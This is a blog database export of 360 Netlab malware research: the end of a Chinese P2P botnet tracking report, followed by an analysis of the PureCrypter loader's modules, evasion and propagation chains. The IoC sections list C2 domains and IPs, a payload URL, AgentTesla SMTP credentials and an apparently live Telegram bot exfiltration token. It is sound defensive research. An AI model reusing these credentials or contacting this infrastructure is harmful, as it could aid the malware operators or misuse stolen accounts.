devices](__GHOST_URL__/pink-en/)》\n\n**地理分布**\n\n![pink_world_map](__GHOST_URL__/content/images/2022/08/pink_world_map.png)\n\n如图所示,Pink的影响范围是以国内IoT设备为主,下面是其在国内的分布情况:\n\n![pink_china_map](__GHOST_URL__/content/images/2022/08/pink_china_map.png)\n\n\n**日活波动**\n\n值得特别提到的是,该家族7月份以来的日活数据有较大的波动,首先在7月12日开始的一个星期内下降了一个数量级,日活达到2万左右级别,随后在8月20日之后的一段时间瞬间归零10天左右,9月份又回到2万级别日活。日活波动情况可参看下图:\n\n![pink_tracker-1](__GHOST_URL__/content/images/2022/09/pink_tracker-1.png)\n\n为了分析波动原因,我们分别选取 7月12日/7月26日/9月1日 的日活数据分别绘制地理分布图,发现,大部分省份的日活数量发生显著的降低。如下三图所示:\n\n![pink_0712_china_map](__GHOST_URL__/content/images/2022/09/pink_0712_china_map.png)\n\n![pink_2022_07_26](__GHOST_URL__/content/images/2022/09/pink_2022_07_26.png)\n\n![pink_2022_09_01](__GHOST_URL__/content/images/2022/09/pink_2022_09_01.png)\n\n\n基于以上内容,我们推测,在7月份,各省份进行了较为统一的处置工作,使受感染设备的数量出现大幅下降。而在8月末的波动中,则更可能是类似于防火墙短期规则产生的效果,阻断了跟踪器同PINK节点的通讯。\n\n## Hajime\n\nHajime 的出现时间与 MIRAI 同年,前后差不到几个月,其提示信息中一直声称是由“白帽子”运营的。Hajime 的各组件功能也以自传播为主要目标。其组件间的通讯及管理,大量使用了非对称加解密算法的特性,是一个极为经典的 P2P 僵尸网络家族。更多详细资料可参考我们曾经发布过的报告:\n\n《[Is Hajime botnet dead?](__GHOST_URL__/hajime-status-report/)》\n\n**地理分布**\n\n![hajime_world_map](__GHOST_URL__/content/images/2022/08/hajime_world_map.png)\n\n**伊朗居首**\n\n作为IT从业者,提到伊朗,能想到的只有“伊核协议”或者“头巾”,似乎很难把它和“电子化”扯上关系。即使是多次在IoT设备感染列表的前列中看到来自伊朗的IP,也总觉得伊朗不会有那么多的智能设备,大概是数据失真了。\n\n近期有机会在“俄乌战场”上看到“[伊朗无人机](https://zhuanlan.zhihu.com/p/576038888)”发挥的效果,可以说是挺超出预期的。现在笔者开始想,如果排除数据失真,就意味着伊朗在一些地方是超出多数人想象的,虽然看到的这些东西还远谈不上先进,但是他们能大量的制造无人机,提纯核原料,网络上还有着大量的智能设备,这些侧面都表明他们在“工业化”和“电子化”上是有积累的,背后肯定有大量受过高等教育的工程师。他们有着和中西方完全不同的文字和文化,正在另一个世界里猥琐发育呢。\n\n**Hajime 中的CPU分布情况**\n\nHajime是基于文件传递构建的P2P网络,每个Hajime在运行期间,会尝试寻找最新版本的 .i.xxx 和 atk.xxx 文件(比如:atk.arm7/.i.arm7),这就给了我们评估“Hajime网络”中 CPU 分布情况的一个机会。当 Hajime 节点向我方询问哪些节点包含相应文件时,会得到一次 DHT.search 计数。当 Hajime 节点向我方请求下载相应文件时,会得到一次 uTP.Request 计数。两种文件,两种计数,汇总后就可以得到如下四张饼图分布情况:\n\n![hajime_cpu_count-2](__GHOST_URL__/content/images/2022/08/hajime_cpu_count-2.png)\n\n基于以上饼图,我们可以确定,在 Hajime 网络中,MIPS 的宿主最多,远超其他类型宿主之和,而MIPSEL 的宿主节点最少。\n\n如果考虑到 Hajime 曾集成过大量的漏洞用于传播,这个数据甚至可以在一定程度反应各类型CPU在智能设备中的分布情况。\n\n## Mozi\n\nMozi 起初是一个以 DDoS攻击 为获益目标的P2P家族,后来还增加了挖矿获益的部分。其网络拓扑是以 DHT 协议为基础,构建起来的。更多的信息可以参考我们发布过的报告。\n\n《[Mozi, Another Botnet Using DHT](__GHOST_URL__/mozi-another-botnet-using-dht/)》\n\n\n《[The Mostly Dead Mozi and Its’ Lingering Bots](__GHOST_URL__/the-mostly-dead-mozi-and-its-lingering-bots/)》\n\n**地理分布**\n\n![mozi_world_map](__GHOST_URL__/content/images/2022/08/mozi_world_map.png)\n\n从排名上看,第一严重是中国,第二严重是印度。前两年中印边境闹磨擦的时候,正赶上大量 Mozi 的节点从印度扫描国内设备,还闹的大家有些紧张。后来嘛,抓到人了,就又不那么紧张了。\n\n## FritzFrog\n\nFritzFrog 是一个以挖矿为获益目标的 P2P 家族,其依托于 SSH服务构建起 P2P网络。由 akamai 最先披露。更多详细资料可参考下面的报告(有趣的是,它的收益钱包地址和 Mozi 有关):\n\n《[FritzFrog: P2P Botnet Hops Back on the Scene](https://www.akamai.com/blog/security/fritzfrog-p2p)》\n\n**地理分布**\n\n![fritzfrog_world_map](__GHOST_URL__/content/images/2022/08/fritzfrog_world_map.png)\n\n\n**FritzFrog中的账户口令**\n\n由于 FritzFrog 的P2P机制是基于SSH实现的,所以爬取回来的数据中存在宿主机器口令组合,我们可以看一下口令组合的分布情况,统计一下哪些口令贡献了最多的宿主机\n\n\n![fritzfrog_user_pass](__GHOST_URL__/content/images/2022/10/fritzfrog_user_pass.png)\n\n\n组合排名第一的是一个`1` 开头的密码,有看客能把它补全不?\n\n \n## Panchan\n\nPanchan 是一个 Go 语言开发的 P2P 僵尸网络,以挖矿为获益手段,利用 SSH 弱口令为传播途径。其代码中包含大量 日文片假名,这表明 Panchan 的开发者可以熟练使用日文。另一个有趣的点在于:它在监听端口上,利用协议复用的思路实现了一个交互控制台,允许管理员从网络上对节点进行一些简单的查询和管理工作。更多详细信息可参考如下报告:\n\n《[Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”](https://www.akamai.com/blog/security/new-p2p-botnet-panchan)》\n\n**地理分布**\n\npanchan 的日活长期稳定在两位数,相比其他几个动辄5位数日活的家族来说,感染规模并不算大。\n\n![panchan_world_map-1](__GHOST_URL__/content/images/2022/08/panchan_world_map-1.png) \n\n\n别被美国的红色吓到,其实只有14个日活。\n\n# 结论\n\n本文利用跟踪数据,综合评估了各 P2P 型僵尸网络的规模和活跃情况,并从不同的跟踪数据中看到了一些网络安全以外的现象。\n\n# 解决方案\n\n基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn\n\n\n# 联系我们\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。"}]],"markups":[],"sections":[[10,0],[1,"p",[[0,[],0," "]]]],"ghostVersion":"3.0"} | 62ff014da941c10007f19ae8 |
post | null | 2022-08-26T04:44:40.000Z | 63873b9a8b1c1e0007f53021 | purecrypter-is-busy-pumping-out-various-malicious-malware-families | 0 | 2022-08-29T13:00:00.000Z | public | published | null | 2022-08-29T13:00:00.000Z | PureCrypter is busy pumping out various malicious malware families | <!--kg-card-begin: markdown--><p>In our daily botnet analysis work, it is common to encounter various loaders.Compared to other types of malware, loaders are unique in that they are mainly used to "promote", i.e., download and run other malware on the infected machine. According to our observations, most loaders are proprietary and have a binding relationship with the family they are promoting. A few loader families make themselves into promotion platforms that can spread any other malware family, achieving the so-called malware-as-a-service (MaaS). Compared with proprietary loaders, MaaS types are obviously more dangerous and should be our primary target of concern.</p>
<p>This article introduces a MaaS type loader we saw a while ago, named PureCrypter, which is very active this year, promoting more than 10 other families and using hundreds of C2s. Zscaler has done a <a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">detailed sample analysis</a>, this blog mainly introduces the PureCrypter propagation activity we saw from the perspective of C2s and propagation chains to explore the operation of the MaaS type botnet.</p>
<p>The main points of this paper are as follows.</p>
<ul>
<li>PureCrypter is a loader written in C# that has been around since at least 2021 and can propagate any other family.</li>
<li>PureCrypter continues to be active this year and has propagated more than 10 other malware families including Formbook, SnakeKeylogger, AgentTesla, Redline, AsyncRAT, and others.</li>
<li>PureCrypter authors appears to be resourceful, as we have seen hundreds of C2 domains and IPs.</li>
<li>PureCrypter use image name suffixes combined with inversion, compression and encryption to avoid detection.</li>
<li>PureCrypter has a long propagation chain, and most of them use pre-protectors, some times mixed with other loaders, making detection more difficult.</li>
</ul>
<p>In general, the spread of PureCrypter can be summarized in the following figure.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--0--1.png" alt="Image--0--1" loading="lazy"></p>
<p>Now let’s look at the samples and some typical propagation cases below.</p>
<h1 id="sampleanalysis">Sample analysis</h1>
<p>PureCrypter uses the <a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">package mechanism</a>, which consists of two executables: downloader and injector, both written in C#, where downloader is responsible for propagating the injector, which releases and runs the final payload.</p>
<p>In practice, the attacker generates downloader and injector through builder, and then will try to propagate downloader, which will download and execute injector on the target machine, and then injector will do the rest of the work. In terms of code logic, the downloader module is relatively simple, with a low level of binary obfuscation and no complex operations such as environment detection and persistence, while injector uses common tricks and techniques seen in popular loaders, such as binary obfuscation, runtime environment detection, starting puppet processes, etc. The following is a brief introduction to downloader and injector combined with actual examples.</p>
<h2 id="downloadermodule">downloader module</h2>
<p>This module directly calls WebClient's DownloadData method for HTTP downloads, without setting any HTTP headers.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--11-.png" alt="Image--11-" loading="lazy"></p>
<p>The following is an example of downloading a sample variant with inverted processing, from the parsing code you can see that the HTTP payload is inverted.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--12-.png" alt="Image--12-" loading="lazy"></p>
<p>The inverted PE Header can be found at the end.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--13-.png" alt="Image--13-" loading="lazy"></p>
<p>Finally, the recovered data (.DLL file) is loaded by Assembly.Load, and the entry method of plaintext encoding is called to proceed to the next stage.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--14-.png" alt="Image--14-" loading="lazy"></p>
<p>PureCrypter is relatively simple to protect the injector download, so far, in addition to the above mentioned inverted (reverse) encoding, there are also gzip compression, symmetric encryption, etc. This encoding is fixed, that is, the builder has already determined the encoding method when generating the modules of downloader and injector.</p>
<p>The following is an example of using gzip compression and then transferring the injector, and the magic header of gzip can be found at the beginning: <code>1F 8B 08 00</code>.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--15-.png" alt="Image--15-" loading="lazy"></p>
<p>We have also come across examples where AES encryption is used.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--16-.png" alt="Image--16-" loading="lazy"></p>
<p>In addition to AES, PureCrypter also supports DES, RC4 and other encryption algorithms.</p>
<h2 id="injectormodule">injector module</h2>
<p>If you analyze the injector samples restored by downloader, you will find that the latter are heavily obfuscated. Here is an example of an injector obfuscated by SmartAssembly and partially encrypted with resources.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--17-.png" alt="Image--17-" loading="lazy"></p>
<p>As shown in the figure above, first the relevant configuration information can be got from the combo of Reverse + GZip + Protubuf.Deserialize; then the runtime environment is checked to fight against sandboxing, with mutexes creation and persistence being done based on the configuration; and finally the payload is read from the resource section for loading. The sample does not enter any if statement, and soon reaches the last important function, which mainly implements the final payload injection. 4 injection methods are supported. While which one to use depends on the configuration, Process Hollowing is the most frequently used one.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/image.png" alt="image" loading="lazy"></p>
<p>The final payload is stored in the resource.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--18-.png" alt="Image--18-" loading="lazy"></p>
<p>After reversing and gzip decompression, a puppet process is created to start the final payload.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--19-.png" alt="Image--19-" loading="lazy"></p>
<p>The final payload promoted above is AgentTesla, whose configuration information is as follows.</p>
<pre><code>host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com
</code></pre>
<h2 id="accidentaldiscovery">Accidental discovery</h2>
<p>PureCrypter likes to disguise the injector as an image for downloading, the image name is relatively random and has obvious machine generated features. Here are some of the actual detected image names.</p>
<pre><code># pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp
# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp
# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png
</code></pre>
<p>After analyzing several samples, we found that there is a correspondence between the requested image name and the downloader's AssmblyName.</p>
<table>
<thead>
<tr>
<th>PictureName</th>
<th>AssmblyName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Belcuesth_Ipdtbadv.png</td>
<td>Belcuesth</td>
</tr>
<tr>
<td>Kzzlcne_Prgftuxn.png</td>
<td>Kzzlcne</td>
</tr>
<tr>
<td>newminer2_Jrltkmeh.jpg</td>
<td>newminer2</td>
</tr>
<tr>
<td>Belcuesth_Ipdtbadv.png</td>
<td>Belcuesth</td>
</tr>
<tr>
<td>Nykymad_Bnhmcpqo.bmp</td>
<td>Nykymad</td>
</tr>
<tr>
<td>my_ori_Ywenb_Yzueqpjp.bmp</td>
<td>my ori Ywenb</td>
</tr>
</tbody>
</table>
<p>and the content after the underscore always matches the regular expression</p>
<blockquote>
<p>[A-Z][a-zA-Z]{7}</p>
</blockquote>
<h1 id="c2andpropagationanalysis">C2 and propagation analysis</h1>
<p>PureCrypter has been active this year, and we have detected more than 200 C2 domains and IPs, and more than 10 propagated families. In the cases we have seen, the propagation chain is generally long, and the downloader module of PureCrypter is often used in conjunction with various other types of predecessor downloaders. Because there are too many C2s, here is an introduction to <code>185.215.113.89</code> as an example in terms of scale and propagation methods.</p>
<h2 id="c2analysis">C2 analysis</h2>
<p>This C2 is more active than others among the C2s we detected, and its active time is from mid-April to early June this year, as shown in the figure below.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/xmon_185.215.113.89_ganwang.png" alt="xmon_185.215.113.89_ganwang" loading="lazy"></p>
<p>Its activity level can be reflected visually by our graph system.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/domain_ip_of_butler_202205-1.png" alt="domain_ip_of_butler_202205-1" loading="lazy"></p>
<p>It can be seen that it is associated with more domains and IPs, and the following is part of the IP's domain name resolution during this period.</p>
<pre><code>2022-04-14 22:47:34 2022-07-05 00:42:16 22 rockrock.ug A 185.215.113.89
2022-04-21 08:22:03 2022-06-13 09:17:50 15 marnersstyler.ug A 185.215.113.89
2022-04-17 03:17:41 2022-06-10 04:31:27 2538 qwertzx.ru A 185.215.113.89
2022-04-24 02:16:46 2022-06-09 00:11:24 3 hubvera.ac.ug A 185.215.113.89
2022-04-15 23:47:43 2022-06-08 19:24:59 43 timekeeper.ug A 185.215.113.89
2022-04-15 11:34:35 2022-06-08 19:24:59 35 boundertime.ru A 185.215.113.89
2022-04-14 23:01:50 2022-06-08 15:33:25 24 timebound.ug A 185.215.113.89
2022-04-15 21:58:54 2022-06-08 05:43:21 7 www.rockrock.ug A 185.215.113.89
2022-04-16 20:50:41 2022-06-08 01:44:01 54 beachwood.ug A 185.215.113.89
2022-04-23 16:23:41 2022-06-07 18:30:51 5 asdsadasrdc.ug A 185.215.113.89
2022-05-02 22:35:40 2022-06-07 04:34:12 17 leatherlites.ug A 185.215.113.89
2022-05-29 17:46:00 2022-06-07 03:50:36 3 underdohg.ac.ug A 185.215.113.89
2022-04-15 22:34:53 2022-06-07 03:33:10 18 rockphil.ac.ug A 185.215.113.89
2022-04-15 03:09:13 2022-06-07 03:19:50 14 pdshcjvnv.ug A 185.215.113.89
2022-04-15 03:04:12 2022-06-07 03:12:04 16 mistitis.ug A 185.215.113.89
2022-04-16 03:08:46 2022-06-07 03:08:48 18 nicoslag.ru A 185.215.113.89
2022-04-19 02:33:31 2022-06-07 02:37:08 16 danwisha.ac.ug A 185.215.113.89
2022-05-28 23:56:02 2022-06-05 05:14:50 7 underdohg.ug A 185.215.113.89
2022-05-10 14:44:28 2022-06-02 17:40:12 24 jonescourtney.ac.ug A 185.215.113.89
2022-06-02 07:44:25 2022-06-02 07:44:25 1 triathlethe.ug A 185.215.113.89
2022-04-24 03:05:38 2022-06-01 16:54:59 2191 qwertasd.ru A 185.215.113.89
2022-04-17 09:34:27 2022-06-01 01:42:07 2 partaususd.ru A 185.215.113.89
2022-04-25 00:08:53 2022-05-31 07:17:00 5 timecheck.ug A 185.215.113.89
2022-04-21 02:36:41 2022-05-31 01:20:37 21 courtneyjones.ac.ug A 185.215.113.89
2022-04-16 19:09:02 2022-05-31 01:02:02 14 marksidfgs.ug A 185.215.113.89
2022-04-25 03:01:15 2022-05-30 03:04:29 10 mofdold.ug A 185.215.113.89
2022-04-15 02:36:21 2022-05-30 02:32:53 17 check-time.ru A 185.215.113.89
2022-04-18 02:21:26 2022-05-30 02:22:30 17 agenttt.ac.ug A 185.215.113.89
2022-04-17 03:17:46 2022-05-29 03:17:26 15 qd34g34ewdfsf23.ru A 185.215.113.89
2022-04-19 02:25:06 2022-05-29 02:22:57 14 andres.ug A 185.215.113.89
2022-04-16 02:27:44 2022-05-29 02:22:47 16 asdasgs.ug A 185.215.113.89
</code></pre>
<p>From the visits in column 3, differences in the number of visits to these domains can be found, with overall visits in the thousands, and this is only one of the many C2s we see.</p>
<p>Through correlation analysis, we found that <code>185.215.113.89</code> is often used in conjunction with two C2s, <code>62.204.41.69</code> (March) and <code>45.143.201.4</code>(June), and their relationship can be correlated using the chart below.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--21--2.png" alt="Image--21--2" loading="lazy"></p>
<h2 id="propagationanalysis">Propagation analysis</h2>
<p>PureCrypter uses the dual module mechanism of downloader+injector, the former is disseminated and then the latter is disseminated, which is equivalent to adding a link to the dissemination chain, plus the author's usual means to hide the objector by means of fake image, encoding transmission, etc., which is complicated enough in itself.</p>
<p>The author also put a lot of effort in the downloader propagation piece, we see the way through the bat2exe bundled crack software, the use of VBS and powershell script loader, combined with Godzilla front loader and many other ways, the result of these operations superimposed is the spread chain is generally deeper and more complex. In May we even found cases of spreading Raccoon through PureCrypter, which further spread Azorult, Remcos, PureMiner, and PureClipper.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/PC-RACCOON-OTHER.png" alt="PC-RACCOON-OTHER" loading="lazy"></p>
<p>Here are a few typical propagation techniques.</p>
<h3 id="1bat2exepowershellvbsmeteoritepurecrypterspreadingmarsstealer">1, "Bat2Exe+Powershell+VBS+Meteorite+PureCrypter" spreading Mars Stealer</h3>
<p>This is mainly seen in some cracking software, downloader module is bundled to the former for propagation with Bat2Exe. The actual payload files stored in the resource are released to the tmp directory and triggered by the start.bat. The files released in the tmp directory are shaped as follows.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--1-.png" alt="Image--1-" loading="lazy"></p>
<p>The start.bat command takes the shape of:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--2-.png" alt="Image--2-" loading="lazy"></p>
<p>In the case we analyzed, the .lnk file is used to start the powershell to execute the malicious command.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--3-.png" alt="Image--3-" loading="lazy"></p>
<p>Powershell decodes a base64-encoded VBS loader.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--8-.png" alt="Image--8-" loading="lazy"></p>
<p>The VBS loader further releases a downloader and runs the latter via shellcode. The key information of this downloader is stored in the resource, including the process name and download url, as shown in the image below.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--28-.png" alt="Image--28-" loading="lazy"></p>
<p>The downloader is named Meteorite according to the process name after running, and the url in the above figure corresponds to the downloader module of PureCrypter, and the complete communication process is as follows.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/25e6857acc38482a85b9863f5749d21a-----.png" alt="25e6857acc38482a85b9863f5749d21a-----" loading="lazy"></p>
<p>The final payload is Mars Stealer, c2: <code>rockrock.ug/gggate.php</code>, with the following configuration information:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--24-.png" alt="Image--24-" loading="lazy"></p>
<h3 id="2vbspowershellpurecrypterpropagatingpureminer">2, "VBS/Powershell + PureCrypter" propagating PureMiner</h3>
<p>The C2 involved is <code>89.34.27.167</code>. The entry can be either a VBS script or a Powershell script, here is an example of VBS script.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--4-.png" alt="Image--4-" loading="lazy"></p>
<p>The network communication traffic is as follows.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/VBS_CASE.png" alt="VBS_CASE" loading="lazy"></p>
<p>Powershell script is as follows.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--25-.png" alt="Image--25-" loading="lazy"></p>
<p>The Powershell script downloads and runs the downloader module of PureCrypter, which proceeds to download the injector, here it is more specific to use Discord to distribute the injector:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--26-.png" alt="Image--26-" loading="lazy"></p>
<p>The final payload is PureMiner and C2 is as follows:</p>
<pre><code>185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top
port: 8080, 8444
</code></pre>
<h3 id="3unknownnetdownloaderpurecryptertospreadagentteslaredline">3, "unknown .NET downloader + PureCrypter" to spread AgentTesla, RedLine</h3>
<p>The downloader family is unknown, and its runtime is also divided into multiple stages, where the stage0 module is responsible for loading the stage1 malicious module in the resource.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--5-.png" alt="Image--5-" loading="lazy"></p>
<p>The stage1 module will continue to load the next stage module stage2 after running.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--6-.png" alt="Image--6-" loading="lazy"></p>
<p>stage2 module is also a Crypter (not yet named), different from PureCrypter, he also provides a download function, used to download the malicious PureCrypter downloader module, that is, the figure of puty.exe.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--7-.png" alt="Image--7-" loading="lazy"></p>
<p>The malware can be decrypted from the resource with the key <code>bnvFGkCKlnhQ</code> using the following algorithm.</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--29-.png" alt="Image--29-" loading="lazy"></p>
<p>Two families of binaries are spread. Stage2's payload is AgentTesla with C2: <code>https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument</code></p>
<p>PureCrypter's payload is RedLine with C2:</p>
<pre><code>IP: workstation2022.ddns.net:62099
ID: cheat
</code></pre>
<h1 id="summary">Summary</h1>
<p>PureCrypter is a MaaS type botnet that is still active and has spread more than 10 other families of payloads, with generally complex spreading practices. There might be a fairly big and resourceful team behind it, so it won’t surprised us if they continuously add and spread other malicious families in the future. We will keep an eye on it and share more information when it is needed.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email us to <strong>netlab[at]360.cn</strong>.</p>
<h2 id="iocs">IoCs</h2>
<h3 id="md5">MD5</h3>
<table>
<thead>
<tr>
<th>Family Name</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bat2Exe Downloader</td>
<td>424ed5bcaae063a7724c49cdd93138f5</td>
</tr>
<tr>
<td>VBS downloader</td>
<td>3f20e08daaf34b563227c797b4574743</td>
</tr>
<tr>
<td>Powershell downloader</td>
<td>c4c5167dec23b6dd2d565cd091a279e4</td>
</tr>
<tr>
<td>Unknown .NET Downloader</td>
<td>9b70a337824bac612946da1432295e9c</td>
</tr>
</tbody>
</table>
<h3 id="c2url">C2 &URL</h3>
<pre><code>agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
</code></pre>
<!--kg-card-end: markdown--> | In our daily botnet analysis work, it is common to encounter various loaders.Compared to other types of malware, loaders are unique in that they are mainly used to "promote", i.e., download and run other malware on the infected machine. According to our observations, most loaders are proprietary and have a binding relationship with the family they are promoting. A few loader families make themselves into promotion platforms that can spread any other malware family, achieving the so-called malware-as-a-service (MaaS). Compared with proprietary loaders, MaaS types are obviously more dangerous and should be our primary target of concern.
This article introduces a MaaS type loader we saw a while ago, named PureCrypter, which is very active this year, promoting more than 10 other families and using hundreds of C2s. Zscaler has done a detailed sample analysis, this blog mainly introduces the PureCrypter propagation activity we saw from the perspective of C2s and propagation chains to explore the operation of the MaaS type botnet.
The main points of this paper are as follows.
* PureCrypter is a loader written in C# that has been around since at least 2021 and can propagate any other family.
* PureCrypter continues to be active this year and has propagated more than 10 other malware families including Formbook, SnakeKeylogger, AgentTesla, Redline, AsyncRAT, and others.
* PureCrypter authors appears to be resourceful, as we have seen hundreds of C2 domains and IPs.
* PureCrypter use image name suffixes combined with inversion, compression and encryption to avoid detection.
* PureCrypter has a long propagation chain, and most of them use pre-protectors, some times mixed with other loaders, making detection more difficult.
In general, the spread of PureCrypter can be summarized in the following figure.
Now let’s look at the samples and some typical propagation cases below.
Sample analysis
PureCrypter uses the package mechanism, which consists of two executables: downloader and injector, both written in C#, where downloader is responsible for propagating the injector, which releases and runs the final payload.
In practice, the attacker generates downloader and injector through builder, and then will try to propagate downloader, which will download and execute injector on the target machine, and then injector will do the rest of the work. In terms of code logic, the downloader module is relatively simple, with a low level of binary obfuscation and no complex operations such as environment detection and persistence, while injector uses common tricks and techniques seen in popular loaders, such as binary obfuscation, runtime environment detection, starting puppet processes, etc. The following is a brief introduction to downloader and injector combined with actual examples.
downloader module
This module directly calls WebClient's DownloadData method for HTTP downloads, without setting any HTTP headers.
The following is an example of downloading a sample variant with inverted processing, from the parsing code you can see that the HTTP payload is inverted.
The inverted PE Header can be found at the end.
Finally, the recovered data (.DLL file) is loaded by Assembly.Load, and the entry method of plaintext encoding is called to proceed to the next stage.
PureCrypter is relatively simple to protect the injector download, so far, in addition to the above mentioned inverted (reverse) encoding, there are also gzip compression, symmetric encryption, etc. This encoding is fixed, that is, the builder has already determined the encoding method when generating the modules of downloader and injector.
The following is an example of using gzip compression and then transferring the injector, and the magic header of gzip can be found at the beginning: 1F 8B 08 00.
We have also come across examples where AES encryption is used.
In addition to AES, PureCrypter also supports DES, RC4 and other encryption algorithms.
injector module
If you analyze the injector samples restored by downloader, you will find that the latter are heavily obfuscated. Here is an example of an injector obfuscated by SmartAssembly and partially encrypted with resources.
As shown in the figure above, first the relevant configuration information can be got from the combo of Reverse + GZip + Protubuf.Deserialize; then the runtime environment is checked to fight against sandboxing, with mutexes creation and persistence being done based on the configuration; and finally the payload is read from the resource section for loading. The sample does not enter any if statement, and soon reaches the last important function, which mainly implements the final payload injection. 4 injection methods are supported. While which one to use depends on the configuration, Process Hollowing is the most frequently used one.
The final payload is stored in the resource.
After reversing and gzip decompression, a puppet process is created to start the final payload.
The final payload promoted above is AgentTesla, whose configuration information is as follows.
host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com
Accidental discovery
PureCrypter likes to disguise the injector as an image for downloading, the image name is relatively random and has obvious machine generated features. Here are some of the actual detected image names.
# pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp
# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp
# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png
After analyzing several samples, we found that there is a correspondence between the requested image name and the downloader's AssmblyName.
PictureName
AssmblyName
Belcuesth_Ipdtbadv.png
Belcuesth
Kzzlcne_Prgftuxn.png
Kzzlcne
newminer2_Jrltkmeh.jpg
newminer2
Belcuesth_Ipdtbadv.png
Belcuesth
Nykymad_Bnhmcpqo.bmp
Nykymad
my_ori_Ywenb_Yzueqpjp.bmp
my ori Ywenb
and the content after the underscore always matches the regular expression
[A-Z][a-zA-Z]{7}
C2 and propagation analysis
PureCrypter has been active this year, and we have detected more than 200 C2 domains and IPs, and more than 10 propagated families. In the cases we have seen, the propagation chain is generally long, and the downloader module of PureCrypter is often used in conjunction with various other types of predecessor downloaders. Because there are too many C2s, here is an introduction to 185.215.113.89 as an example in terms of scale and propagation methods.
C2 analysis
This C2 is more active than others among the C2s we detected, and its active time is from mid-April to early June this year, as shown in the figure below.
